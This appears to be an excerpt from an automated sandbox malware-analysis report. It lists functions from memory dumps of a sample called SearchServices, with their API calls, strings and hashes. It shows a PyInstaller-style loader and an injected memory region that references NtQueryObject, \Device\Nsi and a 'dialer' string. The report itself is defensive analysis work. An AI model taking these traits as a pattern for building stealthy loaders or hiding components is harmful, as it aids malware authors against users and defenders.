Opcode Fuzzy Hash: 011d4974f3e124412289dc327b2b40947a146d65b03f6d5f747eb19bebd0a963
Instruction Fuzzy Hash: 21D1B322A2836286E720FF21DC501B9E391FF44794FC44137EA6D47696DF3EE4618B68

Function 00000264CC272B2C Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 264
stringlibraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32 ref: 00000264CC272BD0
lstrlenW.KERNEL32 ref: 00000264CC272E0A

Part of subcall function 00000264CC27199C: OpenProcess.KERNEL32 ref: 00000264CC2719C2
Part of subcall function 00000264CC27199C: K32GetModuleFileNameExW.KERNEL32 ref: 00000264CC2719E0
Part of subcall function 00000264CC27199C: PathFindFileNameW.SHLWAPI ref: 00000264CC2719EF
Part of subcall function 00000264CC27199C: lstrlenW.KERNEL32 ref: 00000264CC2719FB
Part of subcall function 00000264CC27199C: StrCpyW.SHLWAPI ref: 00000264CC271A0E
Part of subcall function 00000264CC27199C: CloseHandle.KERNEL32 ref: 00000264CC271A1C

GetProcAddress.KERNEL32 ref: 00000264CC272BE5

Part of subcall function 00000264CC27152C: StrCmpIW.SHLWAPI ref: 00000264CC27155D

Part of subcall function 00000264CC273844: StrCmpNIW.SHLWAPI ref: 00000264CC27385C

StrCmpNIW.SHLWAPI ref: 00000264CC272C28
lstrlenW.KERNEL32 ref: 00000264CC272D50

Strings

NtQueryObject, xrefs: 00000264CC272BDB
\Device\Nsi, xrefs: 00000264CC272C1B
ntdll.dll, xrefs: 00000264CC272BC9

Memory Dump Source

Source File: 00000005.00000002.1965551247.00000264CC270000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000264CC270000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_264cc270000_SearchServices.jbxd

Similarity

API ID: lstrlen$FileHandleModuleName$AddressCloseFindOpenPathProcProcess
String ID: NtQueryObject$\Device\Nsi$ntdll.dll
API String ID: 2119608203-3850299575
Opcode ID: 9c3d18d3d08cd52b53439cd9635d78b514e0dbb1c6aaf52094b9259375ebc022
Instruction ID: 85a88212e2cf2aedad07ebba5bc1d83997555a029d01b90c1940ea522a4e2ef0
Opcode Fuzzy Hash: 9c3d18d3d08cd52b53439cd9635d78b514e0dbb1c6aaf52094b9259375ebc022
Instruction Fuzzy Hash: 33B1B176A12A50C2EB68EF25D5A87E963A4FB44B94F447017EE89537B4DF36CE80C340

Function 00007FF728807A9C Relevance: 13.8, APIs: 9, Instructions: 276
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF7288077D0: _invalid_parameter_noinfo.LIBCMT ref: 00007FF728807811
Part of subcall function 00007FF7288077D0: _invalid_parameter_noinfo.LIBCMT ref: 00007FF72880788F
Part of subcall function 00007FF7288077D0: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7288078E0

CreateFileW.KERNELBASE ref: 00007FF728807BA2
CreateFileW.KERNEL32 ref: 00007FF728807BF2
GetLastError.KERNEL32 ref: 00007FF728807C22
GetFileType.KERNELBASE ref: 00007FF728807C37
GetLastError.KERNEL32 ref: 00007FF728807C41
CloseHandle.KERNEL32 ref: 00007FF728807C74
CloseHandle.KERNEL32 ref: 00007FF728807DD7
CreateFileW.KERNEL32 ref: 00007FF728807E0C
GetLastError.KERNEL32 ref: 00007FF728807E1B

Memory Dump Source

Source File: 00000005.00000002.1965749019.00007FF7287E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7287E0000, based on PE: true

Associated: 00000005.00000002.1965692149.00007FF7287E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965848141.00007FF72880C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965911829.00007FF72881F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965911829.00007FF728821000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965973603.00007FF728823000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7287e0000_SearchServices.jbxd

Similarity

API ID: File$CreateErrorLast_invalid_parameter_noinfo$CloseHandle$Type
String ID:
API String ID: 1617910340-0
Opcode ID: 8482aad9305a30c551bfc572177b6762c68ebfb4afe3bdfce811c5be068ed5ba
Instruction ID: 871cea215c07e46d801a555091aa7650c7f999e55d2925d9f1a734ac11459371
Opcode Fuzzy Hash: 8482aad9305a30c551bfc572177b6762c68ebfb4afe3bdfce811c5be068ed5ba
Instruction Fuzzy Hash: DBC1C332B24A4685EB10EF65CC901BCB7A1EB48B98B514236DF2E573D4CF3AD465CB14

Function 00007FF7287E7B60 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 141
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTempPathW.KERNEL32(00000000,?,00000000,00000000,?,00007FF7287E153F), ref: 00007FF7287E7BF7

Part of subcall function 00007FF7287E7D70: GetEnvironmentVariableW.KERNEL32(00007FF7287E39FF), ref: 00007FF7287E7DAA
Part of subcall function 00007FF7287E7D70: ExpandEnvironmentStringsW.KERNEL32 ref: 00007FF7287E7DC7

Part of subcall function 00007FF7287F8610: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7287F8629

SetEnvironmentVariableW.KERNEL32 ref: 00007FF7287E7CB1

Part of subcall function 00007FF7287E2B10: MessageBoxW.USER32 ref: 00007FF7287E2BE5

Strings

TMP, xrefs: 00007FF7287E7B9A, 00007FF7287E7C59, 00007FF7287E7CE7
TMP, xrefs: 00007FF7287E7BC0
LOADER: Failed to set the TMP environment variable., xrefs: 00007FF7287E7BDA
_MEI%d, xrefs: 00007FF7287E7C05

Memory Dump Source

Source File: 00000005.00000002.1965749019.00007FF7287E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7287E0000, based on PE: true

Associated: 00000005.00000002.1965692149.00007FF7287E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965848141.00007FF72880C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965911829.00007FF72881F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965911829.00007FF728821000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965973603.00007FF728823000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7287e0000_SearchServices.jbxd

Similarity

API ID: Environment$Variable$ExpandMessagePathStringsTemp_invalid_parameter_noinfo
String ID: LOADER: Failed to set the TMP environment variable.$TMP$TMP$_MEI%d
API String ID: 3752271684-1116378104
Opcode ID: 26c14f5d2d519ab3f82a273994a24441e39aec3c57247172eafc601634a0f726
Instruction ID: fe445419d5f9992cbad8a5f68ddc59cf59bbe30ea862a51f9a3d8b7b269cf48d
Opcode Fuzzy Hash: 26c14f5d2d519ab3f82a273994a24441e39aec3c57247172eafc601634a0f726
Instruction Fuzzy Hash: 4C516111B5D68241FA24B7A29D152BAD185DF5DBC0FC84433EE4E4B796ED3EE4018A28

Function 00007FF728806DCC Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 143
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_get_daylight.LIBCMT ref: 00007FF728806DFA

Part of subcall function 00007FF728806548: _invalid_parameter_noinfo.LIBCMT ref: 00007FF72880655C

_get_daylight.LIBCMT ref: 00007FF728806E0B

Part of subcall function 00007FF7288064E8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7288064FC

_get_daylight.LIBCMT ref: 00007FF728806E1C

Part of subcall function 00007FF728806518: _invalid_parameter_noinfo.LIBCMT ref: 00007FF72880652C

Part of subcall function 00007FF7287FB700: RtlRestoreThreadPreferredUILanguages.NTDLL(?,?,?,00007FF728803B72,?,?,?,00007FF728803BAF,?,?,00000000,00007FF728804075,?,?,00000000,00007FF728803FA7), ref: 00007FF7287FB716
Part of subcall function 00007FF7287FB700: GetLastError.KERNEL32(?,?,?,00007FF728803B72,?,?,?,00007FF728803BAF,?,?,00000000,00007FF728804075,?,?,00000000,00007FF728803FA7), ref: 00007FF7287FB720

GetTimeZoneInformation.KERNELBASE(?,?,?,?,?,?,?,?,?,00000000,?,00007FF72880705C), ref: 00007FF728806E43

Strings

W. Europe Standard Time, xrefs: 00007FF728806EE9
W. Europe Summer Time, xrefs: 00007FF728806F01

Memory Dump Source

Source File: 00000005.00000002.1965749019.00007FF7287E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7287E0000, based on PE: true

Associated: 00000005.00000002.1965692149.00007FF7287E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965848141.00007FF72880C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965911829.00007FF72881F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965911829.00007FF728821000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965973603.00007FF728823000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7287e0000_SearchServices.jbxd

Similarity

API ID: _get_daylight_invalid_parameter_noinfo$ErrorInformationLanguagesLastPreferredRestoreThreadTimeZone
String ID: W. Europe Standard Time$W. Europe Summer Time
API String ID: 2248164782-690618308
Opcode ID: 3ce9ff365909c35cfda0cd92fd9b5c2b6ab9c6a7c0cfccc6144e1dd1acbf6dd4
Instruction ID: a2eafae8357ae0b9407badaf39b443bc113d825ced3214571628a4dd06277d58
Opcode Fuzzy Hash: 3ce9ff365909c35cfda0cd92fd9b5c2b6ab9c6a7c0cfccc6144e1dd1acbf6dd4
Instruction Fuzzy Hash: 8A514232A2875286E710FF21DC811A9E7A0FF48784FC44137DA6D47696DF3EE4608B64

Function 00000264CC27253C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 185COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 00000264CC272620
StrCpyW.SHLWAPI ref: 00000264CC272639

Strings

\\.\pipe\, xrefs: 00000264CC27262B

Memory Dump Source

Source File: 00000005.00000002.1965551247.00000264CC270000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000264CC270000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_264cc270000_SearchServices.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: 54f1dfa0457f4d2b58266312e3bc9b9bd619b52cd53b64f893b189ad2eed13fb
Instruction ID: 0b89e34d5e197cbcb56cc311af9c8bcb93bd39d828132aceb4effc05ceee1392
Opcode Fuzzy Hash: 54f1dfa0457f4d2b58266312e3bc9b9bd619b52cd53b64f893b189ad2eed13fb
Instruction Fuzzy Hash: 7471F536A41781C5E724EF26D9EC3EA67A4F385B84F442027DD8953BA9DE3AC745C700

Function 00000264CC27202C Relevance: 4.7, APIs: 1, Strings: 2, Instructions: 162COMMON

Download Yara Rule

APIs

StrCmpNIW.SHLWAPI ref: 00000264CC2720C6

Part of subcall function 00000264CC272F04: GetProcessHeap.KERNEL32 ref: 00000264CC272F27
Part of subcall function 00000264CC272F04: HeapAlloc.KERNEL32 ref: 00000264CC272F3A
Part of subcall function 00000264CC272F04: StrCmpNIW.SHLWAPI ref: 00000264CC272FAF
Part of subcall function 00000264CC272F04: GetProcessHeap.KERNEL32 ref: 00000264CC273015
Part of subcall function 00000264CC272F04: HeapFree.KERNEL32 ref: 00000264CC273023

Strings

dialer, xrefs: 00000264CC2720BF
S, xrefs: 00000264CC2721E7

Memory Dump Source

Source File: 00000005.00000002.1965551247.00000264CC270000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000264CC270000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_264cc270000_SearchServices.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID: S$dialer
API String ID: 756756679-3873981283
Opcode ID: 10a6181ad89868b013f95f8d430f86fb0b73c76b57149a1256a42c526e771eaa
Instruction ID: 7e0ea672d1cc5674834cb2faf6b1a6dd2c9b2239c679132f0c91761080d391ce
Opcode Fuzzy Hash: 10a6181ad89868b013f95f8d430f86fb0b73c76b57149a1256a42c526e771eaa
Instruction Fuzzy Hash: FD51BD32F56620C6EB61EB26E8A86EE63E5F714784F05A012DF8512BA5DF36CA41C300

Function 00007FF7287E8D00 Relevance: 3.0, APIs: 2, Instructions: 29COMMON

Download Yara Rule

APIs

FindFirstFileExW.KERNELBASE ref: 00007FF7287E8D31
FindClose.KERNELBASE ref: 00007FF7287E8D40

Memory Dump Source

Source File: 00000005.00000002.1965749019.00007FF7287E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7287E0000, based on PE: true

Associated: 00000005.00000002.1965692149.00007FF7287E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965848141.00007FF72880C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965911829.00007FF72881F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965911829.00007FF728821000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965973603.00007FF728823000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7287e0000_SearchServices.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: ecdf086f063d1ff4b022191a002e9e17b8509f6d6c47db3a09a7631b022981ea
Instruction ID: 6efb0feae51ac99bb81880b9dea3959f6325d452816449258d5eb82ce29420fe
Opcode Fuzzy Hash: ecdf086f063d1ff4b022191a002e9e17b8509f6d6c47db3a09a7631b022981ea
Instruction Fuzzy Hash: 36F0622261868186F760DF60AC48766F391EB48724F440737D6AD056D4DF3CD0188E14

Function 00007FF728801720 Relevance: 2.0, APIs: 1, Instructions: 461COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1965749019.00007FF7287E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7287E0000, based on PE: true

Associated: 00000005.00000002.1965692149.00007FF7287E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965848141.00007FF72880C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965911829.00007FF72881F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965911829.00007FF728821000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965973603.00007FF728823000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7287e0000_SearchServices.jbxd

Similarity

API ID: CurrentFeaturePresentProcessProcessor
String ID:
API String ID: 1010374628-0
Opcode ID: b07a4aa98c3ea62428db7ff75e9c78d2acc70f0ed8e8990dbcc6d64e325556f5
Instruction ID: 6527ec1708c473f80c255d77dcadf15f6c6970e700a51851fe393c48e93e124b
Opcode Fuzzy Hash: b07a4aa98c3ea62428db7ff75e9c78d2acc70f0ed8e8990dbcc6d64e325556f5
Instruction Fuzzy Hash: 9202D329A2D64641FA50BB629C00379E2D0EF05BB0FD84537DD6D467D6DE3EE4228B38

Function 00000264CC2728C8 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1965551247.00000264CC270000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000264CC270000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_264cc270000_SearchServices.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 35d1efe4857f8844a1db8c4c8ed7dc734db620b0767d36ab5b03d26aefcb1554
Instruction ID: 38886ca59b6cc4f2322ebbe0d9af3475cf336f3850d708a87e5e834ff952307a
Opcode Fuzzy Hash: 35d1efe4857f8844a1db8c4c8ed7dc734db620b0767d36ab5b03d26aefcb1554
Instruction Fuzzy Hash: 5621DF32B05751C6E360EF16E8A46AEB7A8F384F90F69512ADFD543764DF35CA428700

Function 00007FF7287E1700 Relevance: 24.6, APIs: 1, Strings: 13, Instructions: 148
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Failed to extract %s: failed to allocate temporary buffer!, xrefs: 00007FF7287E1856
Failed to extract %s: failed to open target file!, xrefs: 00007FF7287E1780
Failed to extract %s: failed to seek to the entry's data!, xrefs: 00007FF7287E17F6
Failed to extract %s: failed to write data chunk!, xrefs: 00007FF7287E18D5
pyi_arch_extract2fs was called before temporary directory was initialized!, xrefs: 00007FF7287E1716
Failed to extract %s: failed to read data chunk!, xrefs: 00007FF7287E18E5
Failed to extract %s: failed to open archive file!, xrefs: 00007FF7287E17C9
fread, xrefs: 00007FF7287E18EC
fseek, xrefs: 00007FF7287E17FD
malloc, xrefs: 00007FF7287E185D
Failed to create symbolic link %s!, xrefs: 00007FF7287E1743
fopen, xrefs: 00007FF7287E1787
fwrite, xrefs: 00007FF7287E18DC

Memory Dump Source

Source File: 00000005.00000002.1965749019.00007FF7287E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7287E0000, based on PE: true

Associated: 00000005.00000002.1965692149.00007FF7287E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965848141.00007FF72880C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965911829.00007FF72881F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965911829.00007FF728821000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965973603.00007FF728823000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7287e0000_SearchServices.jbxd

Similarity

API ID: Message
String ID: Failed to create symbolic link %s!$Failed to extract %s: failed to allocate temporary buffer!$Failed to extract %s: failed to open archive file!$Failed to extract %s: failed to open target file!$Failed to extract %s: failed to read data chunk!$Failed to extract %s: failed to seek to the entry's data!$Failed to extract %s: failed to write data chunk!$fopen$fread$fseek$fwrite$malloc$pyi_arch_extract2fs was called before temporary directory was initialized!
API String ID: 2030045667-3833288071
Opcode ID: 84e2589c6b3bffae1bba4c540b7328d821300ff316cec1330a72e379bb5205ba
Instruction ID: 084936b5d6fa4d7bea62848ff501aa4cac979ca3ad4eb13995b028e0a9bfd31c
Opcode Fuzzy Hash: 84e2589c6b3bffae1bba4c540b7328d821300ff316cec1330a72e379bb5205ba
Instruction Fuzzy Hash: AB51CD61B5868281FA14BB96EC412A9E391EF58BD4FC40033DE1C47791EE3EE5588B38

Function 00007FF7287E1A90 Relevance: 19.4, APIs: 2, Strings: 9, Instructions: 135
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF7287E84C0: _fread_nolock.LIBCMT ref: 00007FF7287E856A

_fread_nolock.LIBCMT ref: 00007FF7287E1B44

Part of subcall function 00007FF7287E2870: MessageBoxW.USER32 ref: 00007FF7287E297B

Strings

fread, xrefs: 00007FF7287E1B56, 00007FF7287E1C00
fseek, xrefs: 00007FF7287E1B23
Failed to read cookie!, xrefs: 00007FF7287E1B4F
malloc, xrefs: 00007FF7287E1BCD
MEI, xrefs: 00007FF7287E1AD2
Error on file., xrefs: 00007FF7287E1C26
Could not read full TOC!, xrefs: 00007FF7287E1BF9
Failed to seek to cookie position!, xrefs: 00007FF7287E1B1C
Could not allocate buffer for TOC!, xrefs: 00007FF7287E1BC6

Memory Dump Source

Source File: 00000005.00000002.1965749019.00007FF7287E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7287E0000, based on PE: true

Associated: 00000005.00000002.1965692149.00007FF7287E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965848141.00007FF72880C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965911829.00007FF72881F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965911829.00007FF728821000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965973603.00007FF728823000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7287e0000_SearchServices.jbxd

Similarity

API ID: _fread_nolock$Message
String ID: Could not allocate buffer for TOC!$Could not read full TOC!$Error on file.$Failed to read cookie!$Failed to seek to cookie position!$MEI$fread$fseek$malloc
API String ID: 677216364-1384898525
Opcode ID: ddb6e93c1f9c0ae51910bc1035cbf9c385338e2c0402d7e9abc2774685a5e3a0
Instruction ID: 2f3e66de74a511ea70c96dc788e4d75e7dd8afd58c41833387714c8c5a9d5466
Opcode Fuzzy Hash: ddb6e93c1f9c0ae51910bc1035cbf9c385338e2c0402d7e9abc2774685a5e3a0
Instruction Fuzzy Hash: 3A519F71A5868286EB18EF55DC91178F3A1EF4CB44B918137DA0C877A5DE3EE444CB2C

Function 00007FF7287E8290 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 90
processsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF7287E8DE0: MultiByteToWideChar.KERNEL32(?,?,?,?,?,00007FF7287E2A9B), ref: 00007FF7287E8E1A

SetConsoleCtrlHandler.KERNEL32(00000000,00007FF7287E3D8D), ref: 00007FF7287E82DF
GetStartupInfoW.KERNEL32 ref: 00007FF7287E82FE

Part of subcall function 00007FF7287FB234: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7287FB248

Part of subcall function 00007FF7287F8E54: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7287F8EBB

GetCommandLineW.KERNEL32 ref: 00007FF7287E839E
CreateProcessW.KERNELBASE ref: 00007FF7287E83E0
WaitForSingleObject.KERNEL32 ref: 00007FF7287E83F4
GetExitCodeProcess.KERNELBASE ref: 00007FF7287E8404

Strings

Error creating child process!, xrefs: 00007FF7287E8410
CreateProcessW, xrefs: 00007FF7287E8417

Memory Dump Source

Source File: 00000005.00000002.1965749019.00007FF7287E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7287E0000, based on PE: true

Associated: 00000005.00000002.1965692149.00007FF7287E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965848141.00007FF72880C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965911829.00007FF72881F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965911829.00007FF728821000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965973603.00007FF728823000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7287e0000_SearchServices.jbxd

Similarity

API ID: Process_invalid_parameter_noinfo$ByteCharCodeCommandConsoleCreateCtrlExitHandlerInfoLineMultiObjectSingleStartupWaitWide
String ID: CreateProcessW$Error creating child process!
API String ID: 2895956056-3524285272
Opcode ID: b7abaf37a347f063a3628d3e0586489636cc93df3d8b7db5f5a9dd5ff1266243
Instruction ID: 28acccb3ad86664f74509d01c2b20ef3601770f2e7ced153eac73fcb3916dba0
Opcode Fuzzy Hash: b7abaf37a347f063a3628d3e0586489636cc93df3d8b7db5f5a9dd5ff1266243
Instruction Fuzzy Hash: 0B414432A1878181EA20AB65EC452AAE390FB98364F900737E6AD47BD5DF7DD0548F14

Function 00007FF7287E1050 Relevance: 12.4, APIs: 1, Strings: 6, Instructions: 154
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Failed to extract %s: failed to allocate temporary output buffer!, xrefs: 00007FF7287E111F
Failed to extract %s: decompression resulted in return code %d!, xrefs: 00007FF7287E1249
1.3.1, xrefs: 00007FF7287E107E
malloc, xrefs: 00007FF7287E10F8, 00007FF7287E1126
Failed to extract %s: failed to allocate temporary input buffer!, xrefs: 00007FF7287E10F1
Failed to extract %s: inflateInit() failed with return code %d!, xrefs: 00007FF7287E10B4

Memory Dump Source

Source File: 00000005.00000002.1965749019.00007FF7287E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7287E0000, based on PE: true

Associated: 00000005.00000002.1965692149.00007FF7287E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965848141.00007FF72880C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965911829.00007FF72881F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965911829.00007FF728821000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965973603.00007FF728823000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7287e0000_SearchServices.jbxd

Similarity

API ID: Message
String ID: 1.3.1$Failed to extract %s: decompression resulted in return code %d!$Failed to extract %s: failed to allocate temporary input buffer!$Failed to extract %s: failed to allocate temporary output buffer!$Failed to extract %s: inflateInit() failed with return code %d!$malloc
API String ID: 2030045667-2813020118
Opcode ID: f844b6ad76cc4397643e6e761d46a0849a21327147446fbdbb70a0d9732f8086
Instruction ID: 357115a92bb66f2eb91f5bd034e445778804e0cd0f538885ef28a52e91379c30
Opcode Fuzzy Hash: f844b6ad76cc4397643e6e761d46a0849a21327147446fbdbb70a0d9732f8086
Instruction Fuzzy Hash: DF51F522B4868281EA24BB91EC413BAE295FB88794FC44137DE4D47795EF3DE444CB28

Function 00007FF7287FF9C0 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32(?,?,?,00007FF7287FFD5A,?,?,-00000018,00007FF7287FBB0B,?,?,?,00007FF7287FBA02,?,?,?,00007FF7287F698E), ref: 00007FF7287FFB3C
GetProcAddress.KERNEL32(?,?,?,00007FF7287FFD5A,?,?,-00000018,00007FF7287FBB0B,?,?,?,00007FF7287FBA02,?,?,?,00007FF7287F698E), ref: 00007FF7287FFB48

Strings

ext-ms-, xrefs: 00007FF7287FFA99
api-ms-, xrefs: 00007FF7287FFA86

Memory Dump Source

Source File: 00000005.00000002.1965749019.00007FF7287E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7287E0000, based on PE: true

Associated: 00000005.00000002.1965692149.00007FF7287E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965848141.00007FF72880C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965911829.00007FF72881F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965911829.00007FF728821000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965973603.00007FF728823000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7287e0000_SearchServices.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID: api-ms-$ext-ms-
API String ID: 3013587201-537541572
Opcode ID: 92e1c6cccb7ec25b4476ca22e51d2624e921c13e1215ab17a1d429f3080250c2
Instruction ID: 95ae90a4a00a14cbdd3b63bce043cbc00c0d3634fb0860d6bcbf7d6ba5883e4a
Opcode Fuzzy Hash: 92e1c6cccb7ec25b4476ca22e51d2624e921c13e1215ab17a1d429f3080250c2
Instruction Fuzzy Hash: 72411431B6960281FA16EF57AC105B5E392FF19B90F894137DD1D87B84EE3EE4448B28

Function 00007FF7287FC80C Relevance: 10.8, APIs: 7, Instructions: 290
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7287FCC39

Memory Dump Source

Source File: 00000005.00000002.1965749019.00007FF7287E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7287E0000, based on PE: true

Associated: 00000005.00000002.1965692149.00007FF7287E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965848141.00007FF72880C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965911829.00007FF72881F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965911829.00007FF728821000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965973603.00007FF728823000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7287e0000_SearchServices.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 08457a1c6721881f4c11fed91b7cfb17c1058ae71b93dddd692bbf3e619047ea
Instruction ID: 1628b7388c4b01b933950aa979d9843690d012a3ebadd44cafee866625107102
Opcode Fuzzy Hash: 08457a1c6721881f4c11fed91b7cfb17c1058ae71b93dddd692bbf3e619047ea
Instruction Fuzzy Hash: E9C1082295C69791F620AB969C402BDF751FBE8B80FD50133DA4E07391DE7EE845CB28

Function 00007FF7287E8860 Relevance: 10.6, APIs: 7, Instructions: 63
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 00007FF7287E8880
OpenProcessToken.ADVAPI32 ref: 00007FF7287E8891
GetTokenInformation.KERNELBASE ref: 00007FF7287E88B6
GetLastError.KERNEL32 ref: 00007FF7287E88C0
